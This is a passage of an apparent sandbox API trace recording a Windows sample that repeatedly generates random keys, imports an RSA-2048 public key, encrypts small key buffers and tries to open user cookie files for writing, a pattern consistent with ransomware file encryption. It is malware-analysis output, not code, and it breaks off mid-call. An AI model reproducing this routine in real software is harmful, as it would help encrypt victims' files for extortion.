[0175.327] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.327] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.328] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.329] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.329] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.329] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.329] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.331] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360ab80) returned 1 [0175.331] CryptGetKeyParam (in: hKey=0x360ab80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.331] CryptEncrypt (in: hKey=0x360ab80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x47e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x47e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.331] GetLastError () returned 0x0 [0175.331] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.331] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.333] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a7c0) returned 1 [0175.333] CryptGetKeyParam (in: hKey=0x360a7c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.333] CryptEncrypt (in: hKey=0x360a7c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x47f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x47f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.333] GetLastError () returned 0x0 [0175.333] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.334] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\J4JSQG9R.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\j4jsqg9r.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.334] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.335] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.335] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.335] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.335] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.335] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.336] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.337] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.337] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.337] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.337] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.339] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a800) returned 1 [0175.339] CryptGetKeyParam (in: hKey=0x360a800, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.339] CryptEncrypt (in: hKey=0x360a800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4800000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4800000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.339] GetLastError () returned 0x0 [0175.339] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.339] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.342] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a540) returned 1 [0175.342] CryptGetKeyParam (in: hKey=0x360a540, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.342] CryptEncrypt (in: hKey=0x360a540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4810000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4810000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.342] GetLastError () returned 0x0 [0175.342] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.342] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\JQOCYKOH.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\jqocykoh.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.342] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.343] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.344] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.344] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.344] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.344] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.345] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.346] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.346] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.346] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.350] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360ac80) returned 1 [0175.350] CryptGetKeyParam (in: hKey=0x360ac80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.350] CryptEncrypt (in: hKey=0x360ac80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4820000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4820000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.350] GetLastError () returned 0x0 [0175.350] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.350] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.352] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a840) returned 1 [0175.353] CryptGetKeyParam (in: hKey=0x360a840, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.353] CryptEncrypt (in: hKey=0x360a840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4830000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4830000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.353] GetLastError () returned 0x0 [0175.353] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.353] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\JWFWLAYR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\jwfwlayr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.353] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.354] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.355] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.355] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.355] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.355] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.355] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.356] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.356] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.356] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.356] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.358] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360abc0) returned 1 [0175.358] CryptGetKeyParam (in: hKey=0x360abc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.358] CryptEncrypt (in: hKey=0x360abc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4840000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4840000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.358] GetLastError () returned 0x0 [0175.358] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.358] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.360] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a9c0) returned 1 [0175.360] CryptGetKeyParam (in: hKey=0x360a9c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.360] CryptEncrypt (in: hKey=0x360a9c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4850000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4850000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.361] GetLastError () returned 0x0 [0175.361] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.361] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\K8249Y1G.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\k8249y1g.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.361] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.362] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.362] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.362] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.362] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.362] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.363] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.364] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.364] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.364] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.364] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.366] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a600) returned 1 [0175.367] CryptGetKeyParam (in: hKey=0x360a600, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.367] CryptEncrypt (in: hKey=0x360a600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4860000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4860000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.367] GetLastError () returned 0x0 [0175.367] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.367] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.369] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a6c0) returned 1 [0175.369] CryptGetKeyParam (in: hKey=0x360a6c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.369] CryptEncrypt (in: hKey=0x360a6c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4870000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4870000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.369] GetLastError () returned 0x0 [0175.369] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.369] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\KNJ4AJDH.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\knj4ajdh.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.370] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.371] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.371] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.371] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.371] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.372] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.374] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.374] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.374] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.374] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.376] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a900) returned 1 [0175.376] CryptGetKeyParam (in: hKey=0x360a900, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.376] CryptEncrypt (in: hKey=0x360a900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4880000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4880000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.376] GetLastError () returned 0x0 [0175.376] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.376] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.378] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a640) returned 1 [0175.378] CryptGetKeyParam (in: hKey=0x360a640, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.378] CryptEncrypt (in: hKey=0x360a640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4890000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4890000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.378] GetLastError () returned 0x0 [0175.378] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.378] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\L78EW25D.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\l78ew25d.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.378] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.379] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.380] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.380] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.380] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.380] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.381] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.381] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.381] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.381] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.381] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.383] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a700) returned 1 [0175.383] CryptGetKeyParam (in: hKey=0x360a700, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.383] CryptEncrypt (in: hKey=0x360a700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x48a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x48a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.383] GetLastError () returned 0x0 [0175.383] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.383] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.385] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a740) returned 1 [0175.385] CryptGetKeyParam (in: hKey=0x360a740, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.385] CryptEncrypt (in: hKey=0x360a740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x48b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x48b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.385] GetLastError () returned 0x0 [0175.385] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.385] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LC10XEWL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\lc10xewl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.386] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.387] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.387] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.387] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.387] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.387] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.389] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.389] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.389] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.389] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.391] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a780) returned 1 [0175.391] CryptGetKeyParam (in: hKey=0x360a780, 